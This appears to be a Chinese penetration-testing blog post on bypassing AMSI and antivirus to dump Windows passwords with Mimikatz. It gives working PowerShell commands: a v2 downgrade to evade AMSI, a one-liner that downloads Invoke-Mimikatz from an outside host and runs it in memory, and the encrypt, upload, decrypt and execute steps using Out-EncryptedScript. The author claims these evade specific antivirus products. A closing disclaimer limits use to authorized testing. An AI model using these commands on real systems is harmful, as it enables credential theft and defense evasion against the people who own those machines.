注:本号首发在了土司 https://www.t00ls.net/thread-62167-1-1.html
利用powershell v2绕过amsi抓windows密码(前提是win10机器需要.net3.0以上)
当我们实用原始的powershell执行经典的抓密码发现,是被amsi阻止的
powershell -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.134:6688/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
此时我们利用降维攻击,强制使用PowerShell v2绕过 amsi,因为版本2没有支持AMSI的必要内部挂钩
可以看到成功绕过了amsi的检测执行成功mimikatz抓到了密码!
使用Out-EncryptedScript加密免杀抓取密码(亲测目前可绕过某绒和某60)
Out-EncryptedScript是Powersploit中提供工具的一种,他是用来进行加密处理的脚本,首先我们将Out-EncryptedScript.ps1与Invoke-Mimikatz.ps1放到同一目录下
依次执行如下命令
powershell.exe
Import-Module .Out-EncryptedScript.ps1
Out-EncryptedScript -ScriptPath .Invoke-Mimikatz.ps1 -Password tubai -Salt 123456
目录下便会自动生成evil.ps1文件,上传到目标机器即可
在目标机器依次执行如下命令
powershell.exe
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1") 注:由于https://raw.githubusercontent.com/不稳地,我本人是放在自己的阿里云上的。
[String] $cmd = Get-Content .evil.ps1
Invoke-Expression $cmd
$decrypted = de tubai 123456
Invoke-Expression $decrypted
Invoke-Mimikatz
如下,便成功绕过了杀软,成功的抓到了密码
总结:
绕过AV的方式层出不穷,powershell在内网渗透方面利用的方式非常多,远远不止免杀与信息收集,希望大家能在授权的情况下,玩转自己的绕过思路,都能总结出自己的一些bypass小技巧!
声明:文章初衷仅为攻防研究学习交流之用,严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动,因此所产生的一切不良后果与本文作者及该公众号无关
【往期推荐】
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞
【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
一如既往的学习,一如既往的整理,一如即往的分享。
“如侵权请私聊公众号删文”
本文始发于微信公众号(渗透Xiao白帽):【干货分享】powershell免杀抓密码姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论